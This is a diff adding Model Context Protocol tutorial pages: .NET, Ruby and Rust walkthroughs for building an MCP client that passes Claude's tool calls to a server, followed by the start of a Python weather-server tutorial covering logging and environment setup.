+ ## Setting up your environment
+
+ First, create a new .NET project:
+
+ ```bash theme={null}
+ dotnet new console -n QuickstartClient
+ cd QuickstartClient
+ ```
+
+ Then, add the required dependencies to your project:
+
+ ```bash theme={null}
+ dotnet add package ModelContextProtocol --prerelease
+ dotnet add package Anthropic.SDK
+ dotnet add package Microsoft.Extensions.Hosting
+ dotnet add package Microsoft.Extensions.AI
+ ```
+
+ ## Setting up your API key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ ```bash theme={null}
+ dotnet user-secrets init
+ dotnet user-secrets set "ANTHROPIC_API_KEY" ""
+ ```
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's setup the basic client class in the file `Program.cs`:
+
+ ```csharp theme={null}
+ using Anthropic.SDK;
+ using Microsoft.Extensions.AI;
+ using Microsoft.Extensions.Configuration;
+ using Microsoft.Extensions.Hosting;
+ using ModelContextProtocol.Client;
+ using ModelContextProtocol.Protocol.Transport;
+
+ var builder = Host.CreateApplicationBuilder(args);
+
+ builder.Configuration
+ .AddEnvironmentVariables()
+ .AddUserSecrets();
+ ```
+
+ This creates the beginnings of a .NET console application that can read the API key from user secrets.
+
+ Next, we'll setup the MCP Client:
+
+ ```csharp theme={null}
+ var (command, arguments) = GetCommandAndArguments(args);
+
+ var clientTransport = new StdioClientTransport(new()
+ {
+ Name = "Demo Server",
+ Command = command,
+ Arguments = arguments,
+ });
+
+ await using var mcpClient = await McpClient.CreateAsync(clientTransport);
+
+ var tools = await mcpClient.ListToolsAsync();
+ foreach (var tool in tools)
+ {
+ Console.WriteLine($"Connected to server with tools: {tool.Name}");
+ }
+ ```
+
+ Add this function at the end of the `Program.cs` file:
+
+ ```csharp theme={null}
+ static (string command, string[] arguments) GetCommandAndArguments(string[] args)
+ {
+ return args switch
+ {
+ [var script] when script.EndsWith(".py") => ("python", args),
+ [var script] when script.EndsWith(".js") => ("node", args),
+ [var script] when Directory.Exists(script) || (File.Exists(script) && script.EndsWith(".csproj")) => ("dotnet", ["run", "--project", script, "--no-build"]),
+ _ => throw new NotSupportedException("An unsupported server script was provided. Supported scripts are .py, .js, or .csproj")
+ };
+ }
+ ```
+
+ This creates an MCP client that will connect to a server that is provided as a command line argument. It then lists the available tools from the connected server.
+
+ ### Query processing logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```csharp theme={null}
+ using var anthropicClient = new AnthropicClient(new APIAuthentication(builder.Configuration["ANTHROPIC_API_KEY"]))
+ .Messages
+ .AsBuilder()
+ .UseFunctionInvocation()
+ .Build();
+
+ var options = new ChatOptions
+ {
+ MaxOutputTokens = 1000,
+ ModelId = "claude-opus-5",
+ Tools = [.. tools]
+ };
+
+ Console.ForegroundColor = ConsoleColor.Green;
+ Console.WriteLine("MCP Client Started!");
+ Console.ResetColor();
+
+ PromptForInput();
+ while(Console.ReadLine() is string query && !"exit".Equals(query, StringComparison.OrdinalIgnoreCase))
+ {
+ if (string.IsNullOrWhiteSpace(query))
+ {
+ PromptForInput();
+ continue;
+ }
+
+ await foreach (var message in anthropicClient.GetStreamingResponseAsync(query, options))
+ {
+ Console.Write(message);
+ }
+ Console.WriteLine();
+
+ PromptForInput();
+ }
+
+ static void PromptForInput()
+ {
+ Console.WriteLine("Enter a command (or 'exit' to quit):");
+ Console.ForegroundColor = ConsoleColor.Cyan;
+ Console.Write("> ");
+ Console.ResetColor();
+ }
+ ```
+
+ ## Key Components Explained
+
+ ### 1. Client Initialization
+
+ * The client is initialized using `McpClient.CreateAsync()`, which sets up the transport type and command to run the server.
+
+ ### 2. Server Connection
+
+ * Supports Python, Node.js, and .NET servers.
+ * The server is started using the command specified in the arguments.
+ * Configures to use stdio for communication with the server.
+ * Initializes the session and available tools.
+
+ ### 3. Query Processing
+
+ * Leverages [Microsoft.Extensions.AI](https://learn.microsoft.com/dotnet/ai/ai-extensions) for the chat client.
+ * Configures the `IChatClient` to use automatic tool (function) invocation.
+ * The client reads user input and sends it to the server.
+ * The server processes the query and returns a response.
+ * The response is displayed to the user.
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ dotnet run -- path/to/server.csproj # dotnet server
+ dotnet run -- path/to/server.py # python server
+ dotnet run -- path/to/server.js # node server
+ ```
+
+
+ If you're continuing the weather tutorial from the server quickstart, your command might look something like this: `dotnet run -- path/to/QuickstartWeatherServer`.
+
+
+ The client will:
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+ 4. Exit the session when done
+
+ Here's an example of what it should look like if connected to the weather server quickstart:
+
+
+
+
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-ruby)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Mac or Windows computer
+ * Ruby 3.2.0 or higher installed (required by the [Anthropic SDK](https://github.com/anthropics/anthropic-sdk-ruby))
+ * Anthropic API key (Claude)
+
+ ## Setting Up Your Environment
+
+ First, create a new Ruby project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create project directory
+ mkdir mcp-client
+ cd mcp-client
+
+ # Create a Gemfile
+ bundle init
+
+ # Add required dependencies
+ bundle add anthropic base64 dotenv mcp
+
+ # Create our main file
+ touch client.rb
+ ```
+
+ ```powershell Windows theme={null}
+ # Create project directory
+ mkdir mcp-client
+ cd mcp-client
+
+ # Create a Gemfile
+ bundle init
+
+ # Add required dependencies
+ bundle add anthropic base64 dotenv mcp
+
+ # Create our main file
+ new-item client.rb
+ ```
+
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's set up our requires and create the basic client class:
+
+ ```ruby theme={null}
+ require "anthropic"
+ require "dotenv/load"
+ require "json"
+ require "mcp"
+
+ class MCPClient
+ ANTHROPIC_MODEL = "claude-opus-5"
+
+ def initialize
+ @mcp_client = nil
+ @transport = nil
+ @anthropic_client = nil
+ end
+
+ # methods will go here
+ end
+ ```
+
+ ### Server Connection Management
+
+ Next, we'll implement the method to connect to an MCP server:
+
+ ```ruby theme={null}
+ def connect_to_server(server_script_path)
+ command = case File.extname(server_script_path)
+ when ".rb"
+ "ruby"
+ when ".py"
+ "python3"
+ when ".js"
+ "node"
+ else
+ raise ArgumentError, "Server script must be a .rb, .py, or .js file."
+ end
+
+ @transport = MCP::Client::Stdio.new(command: command, args: [server_script_path])
+ @mcp_client = MCP::Client.new(transport: @transport)
+ @mcp_client.connect
+
+ tool_names = @mcp_client.tools.map(&:name)
+ puts "\nConnected to server with tools: #{tool_names}"
+ end
+ ```
+
+ ### Query Processing Logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```ruby theme={null}
+ private
+
+ def process_query(query)
+ messages = [{ role: "user", content: query }]
+
+ available_tools = @mcp_client.tools.map do |tool|
+ { name: tool.name, description: tool.description, input_schema: tool.input_schema }
+ end
+
+ # Initial Claude API call.
+ response = chat(messages, tools: available_tools)
+
+ # Process response and handle tool calls.
+ if response.content.any?(Anthropic::Models::ToolUseBlock)
+ assistant_content = response.content.filter_map do |content_block|
+ case content_block
+ when Anthropic::Models::TextBlock
+ { type: "text", text: content_block.text }
+ when Anthropic::Models::ToolUseBlock
+ { type: "tool_use", id: content_block.id, name: content_block.name, input: content_block.input }
+ end
+ end
+ messages << { role: "assistant", content: assistant_content }
+ end
+
+ response.content.each_with_object([]) do |content, response_parts|
+ case content
+ when Anthropic::Models::TextBlock
+ response_parts << content.text
+ when Anthropic::Models::ToolUseBlock
+ # Execute tool call via MCP.
+ result = @mcp_client.call_tool(name: content.name, arguments: content.input)
+ response_parts << "[Calling tool #{content.name} with args #{content.input.to_json}]"
+
+ tool_result_content = result.dig("result", "content")
+ result_text = if tool_result_content.is_a?(Array)
+ tool_result_content.filter_map { |content_item| content_item["text"] }.join("\n")
+ else
+ tool_result_content.to_s
+ end
+
+ messages << {
+ role: "user",
+ content: [{
+ type: "tool_result",
+ tool_use_id: content.id,
+ content: result_text
+ }]
+ }
+
+ # Get next response from Claude.
+ response = chat(messages)
+
+ response.content.each do |content_block|
+ response_parts << content_block.text if content_block.is_a?(Anthropic::Models::TextBlock)
+ end
+ end
+ end.join("\n")
+ end
+
+ def chat(messages, tools: nil)
+ params = { model: ANTHROPIC_MODEL, max_tokens: 1000, messages: messages }
+ params[:tools] = tools if tools
+
+ anthropic_client.messages.create(**params)
+ end
+
+ def anthropic_client
+ @anthropic_client ||= Anthropic::Client.new(api_key: ENV["ANTHROPIC_API_KEY"])
+ end
+ ```
+
+ ### Interactive Chat Interface
+
+ Now we'll add the chat loop and cleanup functionality:
+
+ ```ruby theme={null}
+ def chat_loop
+ puts <<~MESSAGE
+ MCP Client Started!
+ Type your queries or 'quit' to exit.
+ MESSAGE
+
+ loop do
+ print "\nQuery: "
+ line = $stdin.gets
+ break if line.nil?
+
+ query = line.chomp.strip
+ break if query.downcase == "quit"
+ next if query.empty?
+
+ begin
+ response = process_query(query)
+ puts "\n#{response}"
+ rescue => e
+ puts "\nError: #{e.message}"
+ end
+ end
+ end
+
+ def cleanup
+ @transport&.close
+ end
+ ```
+
+ ### Main Entry Point
+
+ Finally, we'll add the main execution logic:
+
+ ```ruby theme={null}
+ if ARGV.empty?
+ puts "Usage: ruby client.rb "
+ exit 1
+ end
+
+ client = MCPClient.new
+
+ begin
+ client.connect_to_server(ARGV[0])
+
+ api_key = ENV["ANTHROPIC_API_KEY"]
+ if api_key.nil? || api_key.empty?
+ puts <<~MESSAGE
+ No ANTHROPIC_API_KEY found. To query these tools with Claude, set your API key:
+ export ANTHROPIC_API_KEY=your-api-key-here
+ MESSAGE
+ exit
+ end
+
+ client.chat_loop
+ rescue => e
+ puts "Error: #{e.message}"
+ exit 1
+ ensure
+ client.cleanup
+ end
+ ```
+
+ You can find the complete `client.rb` file [here](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-ruby/client.rb).
+
+ ## Key Components Explained
+
+ ### 1. Client Initialization
+
+ * The `MCPClient` class initializes with nil references for lazy setup
+ * The Anthropic client is lazily initialized via the `anthropic_client` method
+ * Uses `dotenv` to load environment variables from `.env`
+
+ ### 2. Server Connection
+
+ * Supports Ruby, Python, and Node.js servers
+ * Uses `File.extname` to determine the server script type
+ * Uses `MCP::Client::Stdio` for stdio transport
+ * Initializes the MCP client and lists available tools
+
+ ### 3. Query Processing
+
+ * Maps MCP tools to Anthropic tool format (`name`, `description`, `input_schema`)
+ * Uses `Anthropic::Models::TextBlock` and `Anthropic::Models::ToolUseBlock` for pattern matching
+ * Builds assistant content once before iterating tool calls
+ * Executes tool calls via `@mcp_client.call_tool`
+ * Uses `chat` helper method to wrap Anthropic API calls
+ * Extracts tool result content with `result.dig("result", "content")`
+ * Passes tool results back to Claude for a final response
+
+ ### 4. Interactive Interface
+
+ * Provides a simple command-line interface
+ * Handles user input and displays responses
+ * Skips empty queries
+ * Includes basic error handling
+
+ ### 5. Resource Management
+
+ * Proper cleanup of the transport via `begin`...`ensure`
+ * Top-level `rescue` for error handling
+ * API key validation after server connection
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ bundle exec ruby client.rb path/to/server.rb # ruby server
+ bundle exec ruby client.rb path/to/server.py # python server
+ bundle exec ruby client.rb path/to/build/index.js # node server
+ ```
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-ruby), your command might look something like this: `bundle exec ruby client.rb /path/to/weather-server-ruby/weather.rb`
+
+
+ The client will:
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client gets the list of available tools from the server
+ 2. Your query is sent to Claude along with tool descriptions
+ 3. Claude decides which tools (if any) to use
+ 4. The client executes any requested tool calls through the server
+ 5. Results are sent back to Claude
+ 6. Claude provides a natural language response
+ 7. The response is displayed to you
+
+ ## Best practices
+
+ 1. **Error Handling**
+ * Wrap tool calls in `begin`...`rescue` blocks
+ * Provide meaningful error messages
+ * Gracefully handle connection issues
+
+ 2. **Resource Management**
+ * Always close the transport when done
+ * Use `begin`...`ensure` for proper cleanup
+ * Handle server disconnections
+
+ 3. **Security**
+ * Store API keys securely in `.env`
+ * Validate server responses
+ * Be cautious with tool permissions
+
+ 4. **Tool Names**
+ * Tool names can be validated according to the format specified [here](/specification/2026-07-28/server/tools#tool-names)
+ * If a tool name conforms to the specified format, it should not fail validation by an MCP client
+
+ ## Troubleshooting
+
+ ### Server Path Issues
+
+ * Double-check the path to your server script is correct
+ * Use the absolute path if the relative path isn't working
+ * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path
+ * Verify the server file has the correct extension (.py for Python, .js for Node.js, or .rb for Ruby)
+
+ Example of correct path usage:
+
+ ```bash theme={null}
+ # Relative path
+ bundle exec ruby client.rb ./server/weather.rb
+
+ # Absolute path
+ bundle exec ruby client.rb /Users/username/projects/mcp-server/weather.rb
+
+ # Windows path (either format works)
+ bundle exec ruby client.rb C:/projects/mcp-server/weather.rb
+ bundle exec ruby client.rb C:\\projects\\mcp-server\\weather.rb
+ ```
+
+ ### Response Timing
+
+ * The first response might take up to 30 seconds to return
+ * This is normal and happens while:
+ * The server initializes
+ * Claude processes the query
+ * Tools are being executed
+ * Subsequent responses are typically faster
+ * Don't interrupt the process during this initial waiting period
+
+ ### Common Error Messages
+
+ If you see:
+
+ * `Errno::ENOENT`: Check your server path and ensure the command (`ruby`, `python3`, `node`) is available
+ * `Connection refused`: Ensure the server is running and the path is correct
+ * `Tool execution failed`: Verify the tool's required environment variables are set
+ * `Anthropic::Errors::AuthenticationError`: Check your `.env` file has a valid `ANTHROPIC_API_KEY`
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-rust)
+
+ ## System Requirements
+
+ Before starting, ensure your Linux system meets these requirements:
+
+ * Latest stable version of [Rust and Cargo](https://www.rust-lang.org/tools/install)
+ * Anthropic API key (Claude)
+ * A Python, Node.js, or executable MCP server to connect to
+
+ ## Setting Up Your Environment
+
+ First, create a new Rust project:
+
+ ```bash theme={null}
+ cargo new mcp-client-rust
+ cd mcp-client-rust
+ ```
+
+ Replace the contents of `Cargo.toml` with the following:
+
+ ```toml Cargo.toml theme={null}
+ [package]
+ name = "mcp-client-rust"
+ version = "0.1.0"
+ edition = "2024"
+
+ [dependencies]
+ anyhow = "1.0.100"
+ genai = "0.4.2"
+ rmcp = { version = "0.8.0", features = ["server", "client", "transport-io", "transport-child-process"] }
+ tokio = { version = "1.47.1", features = ["full"] }
+ tracing = "0.1.41"
+ tracing-subscriber = { version = "0.3", features = ["env-filter"] }
+ serde_json = "1.0.128"
+ dotenvy = "0.15.7"
+ reqwest = "0.12.23"
+ ```
+
+ The [`rmcp`](https://github.com/modelcontextprotocol/rust-sdk) crate provides the Rust MCP SDK and child-process transport. This example uses the [`genai`](https://github.com/jeremychone/rust-genai) crate to send requests to Claude and represent tools in the model request.
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ Open `src/main.rs` and replace its contents as you work through the following sections.
+
+ ### Imports and Client Structure
+
+ First, add the imports, model constant, and basic client structure:
+
+ ```rust theme={null}
+ use anyhow::{Context, Result, bail};
+ use genai::Client;
+ use genai::chat::{
+ ChatMessage, ChatRequest, ChatResponse, ContentPart, Tool as GenaiTool, ToolResponse,
+ };
+ use rmcp::model::{CallToolRequestParam, Tool as McpTool};
+ use rmcp::service::{RoleClient, RunningService, ServiceExt};
+ use rmcp::transport::TokioChildProcess;
+ use serde_json::Value;
+ use tokio::io::{self, AsyncBufReadExt, BufReader};
+ use tokio::process::Command;
+
+ const MODEL_ANTHROPIC: &str = "claude-opus-5";
+
+ struct MCPClient {
+ anthropic: Client,
+ session: Option>,
+ tools: Vec,
+ }
+ ```
+
+ The client keeps the model API client, the active MCP session, and the tools advertised by the connected server.
+
+ ### Client Initialization
+
+ Next, initialize the model client and start without an MCP session or tools:
+
+ ```rust theme={null}
+ impl MCPClient {
+ fn new() -> Result {
+ Ok(MCPClient {
+ anthropic: Client::default(),
+ session: None,
+ tools: Vec::new(),
+ })
+ }
+
+ // Additional methods will go here.
+ }
+ ```
+
+ `genai::Client::default()` reads the `ANTHROPIC_API_KEY` environment variable when it sends a request.
+
+ ### Server Connection Management
+
+ Add this method inside the `impl MCPClient` block:
+
+ ```rust theme={null}
+ async fn connect_to_server(&mut self, server_args: &[String]) -> Result<()> {
+ if self.session.is_some() {
+ bail!("Client is already connected to a server");
+ }
+
+ let mut command = Command::new(&server_args[0]);
+ command.args(&server_args[1..]);
+
+ let process = TokioChildProcess::new(command)
+ .with_context(|| format!("Failed to spawn server process for {:?}", server_args))?;
+
+ let session = ().serve(process).await?;
+
+ let rmcp_tools = session
+ .list_all_tools()
+ .await
+ .context("Unable to list tools from server")?;
+
+ let tool_names: Vec = rmcp_tools
+ .iter()
+ .map(|tool| tool.name.to_string())
+ .collect();
+
+ println!("Connected to server with tools: {tool_names:?}");
+
+ self.tools = convert_tools(&rmcp_tools);
+ self.session = Some(session);
+ Ok(())
+ }
+ ```
+
+ This method:
+
+ 1. Starts the server as a child process using the command and arguments supplied on the command line
+ 2. Establishes an MCP session over stdio
+ 3. Lists all tools advertised by the server
+ 4. Converts those tools into the format used in model requests
+
+ ### Converting MCP Tools
+
+ Add this function outside the `impl MCPClient` block:
+
+ ```rust theme={null}
+ fn convert_tools(tools: &[McpTool]) -> Vec {
+ tools
+ .iter()
+ .map(|tool| GenaiTool {
+ name: tool.name.to_string(),
+ description: tool.description.as_deref().map(str::to_string),
+ schema: Some(Value::Object(tool.input_schema.as_ref().clone())),
+ config: None,
+ })
+ .collect()
+ }
+ ```
+
+ MCP and model APIs describe tools with similar information but different Rust types. `convert_tools` maps each MCP tool's name, description, and input schema into a `genai` tool definition.
+
+ ### Sending Model Requests
+
+ Add this helper method inside `impl MCPClient`:
+
+ ```rust theme={null}
+ async fn request_model(&self, chat_req: &ChatRequest) -> Result {
+ let response = self
+ .anthropic
+ .exec_chat(MODEL_ANTHROPIC, chat_req.clone(), None)
+ .await
+ .context("Anthropic chat request failed")?;
+
+ Ok(response)
+ }
+ ```
+
+ This keeps model request handling in one place and adds useful context if the API request fails.
+
+ ### Query Processing Logic
+
+ Now add the core query-processing method inside `impl MCPClient`:
+
+ ```rust theme={null}
+ async fn process_query(&mut self, query: &str) -> Result {
+ let session = self
+ .session
+ .as_ref()
+ .context("Client is not connected to any server")?;
+
+ let mut messages = vec![ChatMessage::user(query)];
+ let mut final_text = Vec::new();
+
+ // Initial Claude API call with tools
+ let mut chat_req = ChatRequest::new(messages.clone()).with_tools(self.tools.clone());
+ let mut chat_rsp = self.request_model(&chat_req).await?;
+
+ // Process response content - collect text and handle tool calls
+ for text in chat_rsp.texts() {
+ final_text.push(text.to_string());
+ }
+
+ let tool_calls = chat_rsp.tool_calls();
+ if !tool_calls.is_empty() {
+ // Append assistant's response to message history
+ messages.push(ChatMessage::assistant(chat_rsp.content.clone()));
+
+ // Execute each tool call and collect responses
+ let mut tool_results = Vec::new();
+ for tool_call in tool_calls {
+ // Add information about the tool call to final text
+ let tool_args_str = serde_json::to_string(&tool_call.fn_arguments)
+ .unwrap_or_else(|_| "{}".to_string());
+
+ final_text.push(format!(
+ "[Calling tool {} with args {}]",
+ tool_call.fn_name, tool_args_str
+ ));
+
+ // Query the MCP server
+ let tool_result = session
+ .call_tool(CallToolRequestParam {
+ name: tool_call.fn_name.clone().into(),
+ arguments: tool_call.fn_arguments.as_object().cloned(),
+ })
+ .await
+ .with_context(|| format!("Tool call {} failed", tool_call.fn_name))?;
+
+ let payload = serde_json::to_string(&tool_result)
+ .context("Failed to serialize tool result")?;
+
+ tool_results.push(ContentPart::ToolResponse(ToolResponse::new(
+ tool_call.call_id.clone(),
+ payload,
+ )));
+ }
+
+ // Append tool responses to message history
+ messages.push(ChatMessage::user(tool_results));
+
+ // Build the next request and query model
+ chat_req = ChatRequest::new(messages.clone());
+ chat_rsp = self.request_model(&chat_req).await?;
+
+ // Collect text from response
+ for text in chat_rsp.texts() {
+ final_text.push(text.to_string());
+ }
+ }
+
+ Ok(final_text.join("\n"))
+ }
+ ```
+
+ The method first sends the user's query and available tools to Claude. When Claude requests tools, the client executes each request through the MCP session, sends the results back to Claude, and collects the final text response.
+
+ ### Interactive Chat Interface
+
+ Add the interactive terminal loop inside `impl MCPClient`:
+
+ ```rust theme={null}
+ async fn chat_loop(&mut self) -> Result<()> {
+ println!("\nMCP Client Started!");
+ println!("Type your queries or 'quit' to exit.");
+
+ let mut stdin = BufReader::new(io::stdin());
+ let mut input = String::new();
+
+ loop {
+ print!("\nQuery: ");
+ std::io::Write::flush(&mut std::io::stdout())?;
+
+ input.clear();
+ if stdin.read_line(&mut input).await? == 0 {
+ break; // EOF
+ }
+
+ let query = input.trim();
+ if query.eq_ignore_ascii_case("quit") {
+ break;
+ }
+ if query.is_empty() {
+ continue;
+ }
+
+ match self.process_query(query).await {
+ Ok(response) => println!("\n{}", response),
+ Err(err) => println!("\nError: {}", err),
+ }
+ }
+
+ Ok(())
+ }
+ ```
+
+ The loop accepts queries until the user types `quit` or closes standard input. Query errors are printed without terminating the client.
+
+ ### Cleanup
+
+ Add this method inside `impl MCPClient` to stop the MCP session and child process:
+
+ ```rust theme={null}
+ async fn cleanup(&mut self) -> Result<()> {
+ if let Some(session) = self.session.take() {
+ let _ = session.cancel().await;
+ }
+ Ok(())
+ }
+ ```
+
+ ### Main Entry Point
+
+ Finally, add the asynchronous entry point outside the `impl MCPClient` block:
+
+ ```rust theme={null}
+ #[tokio::main]
+ async fn main() -> Result<()> {
+ dotenvy::dotenv().context("Failed to load env file")?;
+
+ let mut args = std::env::args();
+ let _ = args.next();
+ let server_args: Vec = args.collect();
+
+ if server_args.is_empty() {
+ eprintln!("Usage: cargo run -- [args...]");
+ std::process::exit(1);
+ }
+
+ let mut client = MCPClient::new()?;
+
+ let result = async {
+ client.connect_to_server(&server_args).await?;
+ client.chat_loop().await
+ }
+ .await;
+
+ let cleanup_result = client.cleanup().await;
+
+ result?;
+ cleanup_result?;
+
+ Ok(())
+ }
+ ```
+
+ The entry point loads `.env`, treats all remaining command-line arguments as the server command, connects the client, starts the chat loop, and ensures cleanup runs before exiting.
+
+ ### Verify the Complete File
+
+ Before running the client, confirm the items in `src/main.rs` are placed at the correct scope:
+
+ * `new`, `connect_to_server`, `process_query`, `request_model`, `chat_loop`, and `cleanup` are methods inside the single `impl MCPClient` block.
+ * `main` and `convert_tools` are functions outside the `impl MCPClient` block.
+
+ Rust does not require these items to appear in a particular order, but methods and free functions must be placed in the correct scope. Compare your file with the [complete `src/main.rs` example](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-rust/src/main.rs), then check that it compiles:
+
+ ```bash theme={null}
+ cargo fmt --check
+ cargo check
+ ```
+
+ ## Running the Client
+
+ Use `cargo run --` followed by the command you would normally use to start the MCP server:
+
+ ```bash theme={null}
+ # Python server
+ cargo run -- python path/to/server.py
+
+ # Node.js server
+ cargo run -- node path/to/build/index.js
+
+ # Executable server
+ cargo run -- path/to/server-binary
+ ```
+
+ Running bare `cargo run` without a server command prints the usage message and exits.
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-rust), build the server first and then run a command similar to: `cargo run -- ../weather-server-rust/target/debug/weather`
+
+
+ The client will:
+
+ 1. Start and connect to the specified MCP server
+ 2. List the tools available from that server
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client sends your query and the server's available tools to Claude
+ 2. Claude decides which tools, if any, to use
+ 3. The client executes requested tools through the MCP session
+ 4. Tool results are sent back to Claude
+ 5. Claude provides a natural language response
+ 6. The response is displayed in the terminal
+
+ ## Best Practices
+
+ 1. **Error Handling**
+ * Add context to errors at process, MCP, model API, and serialization boundaries
+ * Report individual query errors without terminating the interactive session
+ * Validate server commands before running them
+
+ 2. **Resource Management**
+ * Always cancel the MCP session during cleanup
+ * Ensure cleanup runs even when connection or chat-loop operations fail
+ * Avoid starting a second server while a session is active
+
+ 3. **Security**
+ * Store API keys securely in `.env`
+ * Review the tools exposed by a server before allowing model-driven calls
+ * Connect only to servers and executable commands you trust
+
+ ## Troubleshooting
+
+ ### Server Command Issues
+
+ The arguments after `cargo run --` must form a complete command. Interpreted server scripts need their runtime:
+
+ ```bash theme={null}
+ # Correct
+ cargo run -- python ./server/weather.py
+ cargo run -- node ./server/build/index.js
+
+ # Incorrect: a Python script is not necessarily executable by itself
+ cargo run -- ./server/weather.py
+ ```
+
+ If a command cannot be found, use its absolute path or verify it is available in your `PATH`.
+
+ ### Environment File Issues
+
+ If you see `Failed to load env file`, ensure `.env` exists in the directory where you run the client.
+
+ If the model request reports a missing API key, confirm that `.env` contains:
+
+ ```text theme={null}
+ ANTHROPIC_API_KEY=your-api-key-goes-here
+ ```
+
+ ### Tool and Response Errors
+
+ * `Unable to list tools from server`: Verify the server starts successfully and communicates over stdio
+ * `Tool call ... failed`: Verify the server tool's required arguments and environment variables
+ * `Failed to serialize tool result`: Inspect the server's response for unsupported or malformed content
+
+
+
+## Next steps
+
+
+
+ Check out our gallery of official MCP servers and implementations
+
+
diff --git a/content/mcp/docs/2026-07-28/develop/build-server.md b/content/mcp/docs/2026-07-28/develop/build-server.md
new file mode 100644
index 000000000..faa0a3688
--- /dev/null
+++ b/content/mcp/docs/2026-07-28/develop/build-server.md
@@ -0,0 +1,2999 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Build an MCP server
+
+> Get started building your own server to use in Claude for Desktop and other clients.
+
+In this tutorial, we'll build a simple MCP weather server and connect it to a host, Claude for Desktop.
+
+### What we'll be building
+
+We'll build a server that exposes two tools: `get_alerts` and `get_forecast`. Then we'll connect the server to an MCP host (in this case, Claude for Desktop):
+
+
+
+
+
+
+ Servers can connect to any client. We've chosen Claude for Desktop here for simplicity, but we also have a guide on [building your own client](/docs/2026-07-28/develop/build-client).
+
+
+### Core MCP Concepts
+
+MCP servers can provide three main types of capabilities:
+
+1. **[Resources](/docs/2026-07-28/learn/server-concepts#resources)**: File-like data that can be read by clients (like API responses or file contents)
+2. **[Tools](/docs/2026-07-28/learn/server-concepts#tools)**: Functions that can be called by the LLM (with user approval)
+3. **[Prompts](/docs/2026-07-28/learn/server-concepts#prompts)**: Pre-written templates that help users accomplish specific tasks
+
+This tutorial will primarily focus on tools.
+
+
+
+ Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-python)
+
+ ### Prerequisite knowledge
+
+ This quickstart assumes you have familiarity with:
+
+ * Python
+ * LLMs like Claude
+
+ ### Logging in MCP Servers
+
+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never write to stdout. Writing to stdout will corrupt the JSON-RPC messages and break your server. The `print()` function writes to stdout by default, so keep it out of a STDIO server entirely.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use the standard library `logging` module, which writes to stderr.
+ * Create one logger per module with `logging.getLogger(__name__)` and call it from your tools.
+
+ ### Quick Examples
+
+ ```python theme={null}
+ import logging
+
+ logger = logging.getLogger(__name__)
+
+ # ❌ Bad (STDIO)
+ print("Processing request")
+
+ # ✅ Good (STDIO)
+ logger.info("Processing request") # writes to stderr
+ ```
+
+ ### System requirements
+
+ * Python 3.10 or higher installed.
+ * You must use the Python MCP SDK 2.0.0 or higher.
+
+ ### Set up your environment
+
+ First, let's install `uv` and set up our Python project and environment:
+
+
+ ```bash macOS/Linux theme={null}
+ curl -LsSf https://astral.sh/uv/install.sh | sh
+ ```
+
+ ```powershell Windows theme={null}
+ powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv/install.ps1 | iex"
+ ```
+
+
+ Make sure to restart your terminal afterwards to ensure that the `uv` command gets picked up.
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ uv init weather
+ cd weather
+
+ # Create virtual environment and activate it
+ uv venv
+ source .venv/bin/activate
+
+ # Install dependencies
+ uv add "mcp[cli]"
+
+ # Create our server file
+ touch weather.py
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ uv init weather
+ cd weather
+
+ # Create virtual environment and activate it
+ uv venv
+ .venv\Scripts\activate
+
